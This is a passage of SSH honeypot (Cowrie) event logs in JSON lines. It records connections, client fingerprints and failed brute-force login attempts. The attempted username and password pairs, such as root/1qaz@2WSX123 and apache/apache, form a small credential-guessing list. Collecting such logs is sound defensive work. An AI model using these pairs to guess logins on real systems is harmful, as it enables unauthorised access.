"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:20.062627Z","src_ip":"43.134.49.202","session":"a1e2d00ff2a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:21.077523Z","src_ip":"43.134.49.202","session":"a1e2d00ff2a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:25:22.325094Z","src_ip":"43.134.49.202","session":"a1e2d00ff2a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":34756,"dst_ip":"159.203.135.109","dst_port":22,"session":"deef46897df3","protocol":"ssh","message":"New connection: 103.15.222.183:34756 (159.203.135.109:22) [session: deef46897df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:14.537466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:14.540989Z","src_ip":"103.15.222.183","session":"deef46897df3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:14.771758Z","src_ip":"103.15.222.183","session":"deef46897df3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020293","message":"login attempt [root/020293] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:15.467130Z","src_ip":"103.15.222.183","session":"deef46897df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:16.700290Z","src_ip":"103.15.222.183","session":"deef46897df3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":47684,"dst_ip":"159.203.135.109","dst_port":22,"session":"9abdb72a4f8a","protocol":"ssh","message":"New connection: 178.20.210.208:47684 (159.203.135.109:22) [session: 9abdb72a4f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:17.634731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:17.638214Z","src_ip":"178.20.210.208","session":"9abdb72a4f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:17.736414Z","src_ip":"178.20.210.208","session":"9abdb72a4f8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@2WSX123","message":"login attempt [root/1qaz@2WSX123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:18.129747Z","src_ip":"178.20.210.208","session":"9abdb72a4f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:19.231347Z","src_ip":"178.20.210.208","session":"9abdb72a4f8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":47000,"dst_ip":"10.17.0.5","dst_port":22,"session":"201fbe87b9f4","protocol":"ssh","message":"New connection: 92.118.39.49:47000 (10.17.0.5:22) [session: 201fbe87b9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:24.877258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:24.880794Z","src_ip":"92.118.39.49","session":"201fbe87b9f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:24.981687Z","src_ip":"92.118.39.49","session":"201fbe87b9f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc","message":"login attempt [root/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:25.396865Z","src_ip":"92.118.39.49","session":"201fbe87b9f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:26.496818Z","src_ip":"92.118.39.49","session":"201fbe87b9f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":46964,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1d9e1b895f1","protocol":"ssh","message":"New connection: 173.236.247.120:46964 (10.17.0.5:22) [session: d1d9e1b895f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:31.991822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:32.001887Z","src_ip":"173.236.247.120","session":"d1d9e1b895f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:32.005623Z","src_ip":"173.236.247.120","session":"d1d9e1b895f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XLM!S3cur3#W0rd","message":"login attempt [root/XLM!S3cur3#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:32.051568Z","src_ip":"173.236.247.120","session":"d1d9e1b895f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:26:33.066696Z","src_ip":"173.236.247.120","session":"d1d9e1b895f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":52612,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eb3538a333b","protocol":"ssh","message":"New connection: 43.134.49.202:52612 (10.17.0.5:22) [session: 9eb3538a333b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:09.318008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:09.322011Z","src_ip":"43.134.49.202","session":"9eb3538a333b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:09.565338Z","src_ip":"43.134.49.202","session":"9eb3538a333b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tax","password":"tax123","message":"login attempt [tax/tax123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:10.575198Z","src_ip":"43.134.49.202","session":"9eb3538a333b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:11.821337Z","src_ip":"43.134.49.202","session":"9eb3538a333b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":56512,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ec90a551cae","protocol":"ssh","message":"New connection: 108.179.220.174:56512 (159.203.135.109:22) [session: 7ec90a551cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:33.253002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:33.256906Z","src_ip":"108.179.220.174","session":"7ec90a551cae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:33.281724Z","src_ip":"108.179.220.174","session":"7ec90a551cae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cow123","message":"login attempt [root/cow123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:33.357275Z","src_ip":"108.179.220.174","session":"7ec90a551cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:34.385273Z","src_ip":"108.179.220.174","session":"7ec90a551cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":58524,"dst_ip":"10.17.0.5","dst_port":22,"session":"92bc92e3539c","protocol":"ssh","message":"New connection: 162.240.35.200:58524 (10.17.0.5:22) [session: 92bc92e3539c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:58.030032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:58.033474Z","src_ip":"162.240.35.200","session":"92bc92e3539c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:58.115013Z","src_ip":"162.240.35.200","session":"92bc92e3539c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"theta123","message":"login attempt [root/theta123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:58.370555Z","src_ip":"162.240.35.200","session":"92bc92e3539c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":38512,"dst_ip":"10.17.0.5","dst_port":22,"session":"c05c60c40d36","protocol":"ssh","message":"New connection: 91.92.40.176:38512 (10.17.0.5:22) [session: c05c60c40d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:58.906485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:58.909991Z","src_ip":"91.92.40.176","session":"c05c60c40d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:58.990076Z","src_ip":"91.92.40.176","session":"c05c60c40d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:59.238373Z","src_ip":"91.92.40.176","session":"c05c60c40d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:27:59.748730Z","src_ip":"162.240.35.200","session":"92bc92e3539c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:28:00.320987Z","src_ip":"91.92.40.176","session":"c05c60c40d36","protocol":"ssh"}
